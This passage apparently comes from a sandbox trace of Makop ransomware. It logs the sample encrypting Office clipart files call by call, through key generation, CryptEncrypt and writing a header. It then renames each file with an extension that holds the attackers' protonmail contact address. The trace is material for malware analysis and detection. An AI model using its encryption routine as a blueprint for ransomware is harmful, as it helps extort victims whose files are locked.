hFile=0xf0, liDistanceToMove=0x1044, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.021] SetEndOfFile (hFile=0xf0) returned 1 [0110.028] GetProcessHeap () returned 0x48a0000 [0110.028] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.029] GetProcessHeap () returned 0x48a0000 [0110.029] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.029] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.029] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01637_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01637_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.030] CloseHandle (hObject=0xf0) returned 1 [0110.030] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd16ae900, ftCreationTime.dwHighDateTime=0x1bd4bcf, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd16ae900, ftLastWriteTime.dwHighDateTime=0x1bd4bcf, nFileSizeHigh=0x0, nFileSizeLow=0x292a, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01638_.WMF", cAlternateFileName="")) returned 1 [0110.031] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 63 [0110.031] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.031] GetProcessHeap () returned 0x48a0000 [0110.031] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.031] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.031] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.032] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0110.036] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.036] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.036] GetProcessHeap () returned 0x48a0000 [0110.036] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.036] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.036] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.037] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.037] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.037] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.037] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.037] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.037] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.037] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.037] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.038] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.038] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x292a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x292a, lpOverlapped=0x0) returned 1 [0110.039] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2930, dwBufLen=0x2930 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2930) returned 1 [0110.039] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.040] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2930, lpOverlapped=0x0) returned 1 [0110.040] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.040] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2a04, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.040] SetEndOfFile (hFile=0xf0) returned 1 [0110.047] GetProcessHeap () returned 0x48a0000 [0110.047] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.047] GetProcessHeap () returned 0x48a0000 [0110.047] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.047] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.047] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01638_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01638_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.049] CloseHandle (hObject=0xf0) returned 1 [0110.049] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x88c32800, ftCreationTime.dwHighDateTime=0x1bd4bef, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x88c32800, ftLastWriteTime.dwHighDateTime=0x1bd4bef, nFileSizeHigh=0x0, nFileSizeLow=0x108c, dwReserved0=0x0, dwReserved1=0x0, cFileName="BS01639_.WMF", cAlternateFileName="")) returned 1 [0110.049] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF") returned 63 [0110.049] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.050] GetProcessHeap () returned 0x48a0000 [0110.050] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.050] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.050] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.050] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.055] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.055] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.056] GetProcessHeap () returned 0x48a0000 [0110.056] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.056] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.056] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.056] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.056] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.056] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.056] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.057] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.057] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.057] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.057] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.057] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x108c, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x108c, lpOverlapped=0x0) returned 1 [0110.061] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1090, dwBufLen=0x1090 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1090) returned 1 [0110.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.061] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1090, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1090, lpOverlapped=0x0) returned 1 [0110.061] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.061] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1164, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.062] SetEndOfFile (hFile=0xf0) returned 1 [0110.068] GetProcessHeap () returned 0x48a0000 [0110.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.068] GetProcessHeap () returned 0x48a0000 [0110.068] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.068] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.069] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS01639_.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs01639_.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.070] CloseHandle (hObject=0xf0) returned 1 [0110.070] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x51c50cb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x246a, dwReserved0=0x0, dwReserved1=0x0, cFileName="CARBN_01.MID", cAlternateFileName="")) returned 1 [0110.070] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID") returned 63 [0110.070] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.071] GetProcessHeap () returned 0x48a0000 [0110.071] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.071] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.071] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.071] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x6, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x6, lpOverlapped=0x0) returned 1 [0110.076] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.076] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.076] GetProcessHeap () returned 0x48a0000 [0110.076] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbfe8 [0110.076] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbfe8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0110.076] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.076] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbfe8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbfe8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0110.076] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.077] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.077] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.077] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.077] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.077] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.077] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.078] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x246a, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x246a, lpOverlapped=0x0) returned 1 [0110.079] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2470, dwBufLen=0x2470 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x2470) returned 1 [0110.079] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.079] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x2470, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x2470, lpOverlapped=0x0) returned 1 [0110.080] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.080] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x2544, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.080] SetEndOfFile (hFile=0xf0) returned 1 [0110.087] GetProcessHeap () returned 0x48a0000 [0110.087] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0110.087] GetProcessHeap () returned 0x48a0000 [0110.087] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0110.087] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0110.087] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CARBN_01.MID.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\carbn_01.mid.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0110.089] CloseHandle (hObject=0xf0) returned 1 [0110.089] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xceceee00, ftCreationTime.dwHighDateTime=0x1c9b81d, ftLastAccessTime.dwLowDateTime=0x60382570, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xceceee00, ftLastWriteTime.dwHighDateTime=0x1c9b81d, nFileSizeHigh=0x0, nFileSizeLow=0xdec, dwReserved0=0x0, dwReserved1=0x0, cFileName="CG1606.WMF", cAlternateFileName="")) returned 1 [0110.089] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF") returned 61 [0110.089] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\cg1606.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0110.091] GetProcessHeap () returned 0x48a0000 [0110.091] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0110.092] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0110.092] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0110.092] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.096] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.096] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.096] GetProcessHeap () returned 0x48a0000 [0110.096] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0110.097] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a90*=0x30) returned 1 [0110.097] CryptDestroyKey (hKey=0x48c7128) returned 1 [0110.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa8*=0x30, lpOverlapped=0x0) returned 1 [0110.097] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0110.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0110.097] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0110.097] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0110.098] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0110.098] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0110.098] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0110.098] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0110.098] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0xdec, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0xdec, lpOverlapped=0x0) returned 1 [0110.098] CryptEncrypt 